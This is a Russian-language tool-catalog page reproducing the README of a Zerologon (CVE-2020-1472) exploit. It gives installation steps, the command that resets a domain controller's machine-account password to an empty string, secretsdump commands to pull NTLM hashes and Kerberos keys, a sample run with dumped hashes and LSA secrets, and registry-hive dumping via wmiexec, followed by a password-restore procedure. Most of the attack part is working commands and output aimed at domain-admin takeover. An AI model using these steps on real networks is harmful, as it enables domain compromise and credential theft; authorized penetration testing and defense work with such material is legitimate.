Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-1472 — Эксплойт-код для CVE-2020-1472 он же Zerologon | Kitploit
Инструменты/GitHubGitHub/voidsec/cve-2020-1472
Атаки на ПаролиАнализ уязвимостейЭксплуатацияТестирование на Проникновение
GitHubvoidsec/cve-2020-1472

CVE-2020-1472

Эксплойт-код для CVE-2020-1472 он же Zerologon

РепозиторийСайт
3966325 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-1472

Проверка и код эксплойта для CVE-2020-1472, также известного как Zerologon

Проверяет, уязвим ли контроллер домена к атаке Zerologon; если уязвим, сбрасывает пароль учетной записи контроллера домена на пустую строку.

Примечание: Это, скорее всего, нарушит работу в производственных средах (например, функциональность DNS, связь с реплицируемыми контроллерами домена и т.д.); целевые клиенты больше не смогут проходить аутентификацию в домене, и они могут быть повторно синхронизированы только вручную. Если вы хотите узнать больше о том, как атака Zerologon вредит работе, спасибо отличным работам @_dirkjan, вы можете прочитать об этом ЗДЕСЬ

Оригинальное исследование и технический документ Zerologon от Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon

asciicast

Эксплойт

Он попытается выполнить обход аутентификации Netlogon. Если контроллер домена исправлен, скрипт обнаружения прекратит работу после отправки 2000 пар RPC-вызовов, сделав вывод, что цель не уязвима (с вероятностью ложноотрицательного результата 0,04%).

Эксплойт будет успешным только в том случае, если контроллер домена использует пароль, хранящийся в Active Directory, для проверки попытки входа, а не тот, что хранится локально, так как при смене пароля таким способом он меняется только в AD. Сама целевая система по-прежнему будет локально хранить свой исходный пароль.

Установка

Требуется Python 3.7 или выше, virtualenv, pip и модифицированная версия библиотеки Impacket: nrpc.py (/impacket/dcerpc/v5) последняя версия impacket с GitHub с добавленными структурами netlogon.

1. Установите Impacket следующим образом:

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. root@kitploit:~
    pwd 
    ~/impacket/
    
  4. virtualenv --python=python3 impacket
  5. source impacket/bin/activate
  6. pip install --upgrade pip
  7. pip install .

2. Установите скрипт эксплойта Zerologon следующим образом:

  1. root@kitploit:~
    ~/impacket/
    
  2. cd examples
  3. git clone https://github.com/VoidSec/CVE-2020-1472
  4. cd CVE-2020-1472
  5. pip install -r requirements.txt

Запуск скрипта

Скрипт можно использовать для атаки на контроллер домена (DC) или резервный DC. Вероятно, он также будет работать против контроллера домена только для чтения, но это еще не протестировано. Имя DC должно быть его сетевым именем NetBIOS. Если это имя неверно, скрипт, скорее всего, завершится ошибкой STATUS_INVALID_COMPUTER_NAME. Для контроллера домена с именем EXAMPLE-DC и IP-адресом 1.2.3.4 запустите скрипт следующим образом:

  • ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

Запуск скрипта должен привести к сбросу пароля учетной записи контроллера домена на пустую строку.

На этом этапе вы сможете запустить Impacket's secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR (альтернативно можно использовать пустой хеш: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0), что извлечет только данные NTDS.DIT (NTLM-хеши и ключи Kerberos).

Что должно дать вам права администратора домена. WIN WIN WIN

Пример запуска

root@kitploit:~
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM 
 0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
 0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
 0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
 0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up... 

> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020

Восстановление пароля

Переустановка исходного хеша пароля необходима для нормальной работы контроллера домена.

После получения прав администратора домена вы можете использовать wmiexec.py для целевого контроллера домена с учетными данными, полученными от secretsdump, и выполнить следующие шаги:

root@kitploit:~
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

Запустите: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

И это должно показать вам исходный NT-хеш учетной записи компьютера. Затем вы можете переустановить этот исходный хеш учетной записи компьютера в домен, используя скрипт reinstall_original_pw.py, предоставленный здесь. Иногда требуется более одного запуска, прежде чем это удастся.

root@kitploit:~
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

Альтернативно вы можете использовать следующий процесс восстановления

Скачать инструмент